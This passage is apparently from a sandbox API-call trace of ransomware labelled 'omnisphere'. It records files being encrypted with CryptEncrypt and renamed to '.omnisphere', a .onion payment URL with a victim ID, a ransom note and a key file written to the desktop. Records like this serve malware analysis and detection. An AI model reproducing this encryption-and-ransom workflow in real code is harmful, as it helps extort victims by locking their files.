pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.756] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.757] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.759] CryptDestroyKey (hKey=0x16396a8) returned 1 [0163.759] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0163.759] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xdef9, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.759] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.759] GetProcessHeap () returned 0x1600000 [0163.759] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x272) returned 0x1773198 [0163.759] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\h jwuz suzt 6.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\h jwuz suzt 6.wav.omnisphere")) returned 1 [0163.764] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav.omnisphere.id" [0163.764] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\h jwuz suzt 6.wav.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.766] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.767] CloseHandle (hObject=0x3bc) returned 1 [0163.774] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.774] CloseHandle (hObject=0x380) returned 1 [0163.774] SetEndOfFile (hFile=0x39c) returned 1 [0163.778] FlushFileBuffers (hFile=0x39c) returned 1 [0163.784] CloseHandle (hObject=0x39c) returned 1 [0163.785] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\h JWuZ SUzT 6.wav" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.785] GetProcessHeap () returned 0x1600000 [0163.785] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1773418 [0163.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.785] GetProcessHeap () returned 0x1600000 [0163.785] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733540 [0163.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733540, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0163.785] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0163.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0163.785] GetProcessHeap () returned 0x1600000 [0163.785] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f500 [0163.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f500, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0163.785] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0163.785] GetProcessHeap () returned 0x1600000 [0163.785] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x164d358 [0163.785] PathCombineW (in: pszDest=0x164d358, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0163.785] GetProcessHeap () returned 0x1600000 [0163.785] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176a160 [0163.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.786] WriteFile (in: hFile=0x39c, lpBuffer=0x176a160*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176a160*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0163.786] CloseHandle (hObject=0x39c) returned 1 [0163.793] GetProcessHeap () returned 0x1600000 [0163.793] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1773418 | out: hHeap=0x1600000) returned 1 [0163.793] GetProcessHeap () returned 0x1600000 [0163.793] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a570 [0163.793] PathCombineW (in: pszDest=0x163a570, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0163.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.794] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0163.794] CloseHandle (hObject=0x39c) returned 1 [0163.794] GetProcessHeap () returned 0x1600000 [0163.794] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0163.794] GetProcessHeap () returned 0x1600000 [0163.794] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0163.794] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7888af40, ftCreationTime.dwHighDateTime=0x1d4cbe5, ftLastAccessTime.dwLowDateTime=0xaa319ac0, ftLastAccessTime.dwHighDateTime=0x1d4d130, ftLastWriteTime.dwLowDateTime=0xaa319ac0, ftLastWriteTime.dwHighDateTime=0x1d4d130, nFileSizeHigh=0x0, nFileSizeLow=0x8441, dwReserved0=0x0, dwReserved1=0xf5, cFileName="HVQiIJaQW.pdf", cAlternateFileName="HVQIIJ~1.PDF")) returned 1 [0163.794] GetProcessHeap () returned 0x1600000 [0163.794] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5a) returned 0x1691f88 [0163.795] PathCombineW (in: pszDest=0x1691f88, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="HVQiIJaQW.pdf" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf") returned="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf" [0163.795] StrStrW (lpFirst=".omnisphere", lpSrch=".pdf") returned 0x0 [0163.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\HVQiIJaQW.pdf" (normalized: "c:\\users\\fd1hvy\\desktop\\hvqiijaqw.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0163.795] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=33857) returned 1 [0163.795] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x7f1d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.795] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.796] GetTickCount () returned 0x1168ac3 [0163.797] GetTickCount () returned 0x1168ac3 [0163.797] GetTickCount () returned 0x1168ac3 [0163.797] GetTickCount () returned 0x1168ac3 [0163.797] GetTickCount () returned 0x1168ac3 [0163.797] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16688a0) returned 1 [0163.798] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16396e8) returned 1 [0163.798] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0163.798] CryptDestroyKey (hKey=0x16396e8) returned 1 [0163.798] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0163.798] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8441, lpName=0x0) returned 0x380 [0163.798] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8441) returned 0x1480000 [0163.799] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1669010) returned 1 [0163.799] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639ae8) returned 1 [0163.799] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0163.799] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0163.799] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.799] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.800] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.801] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.802] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 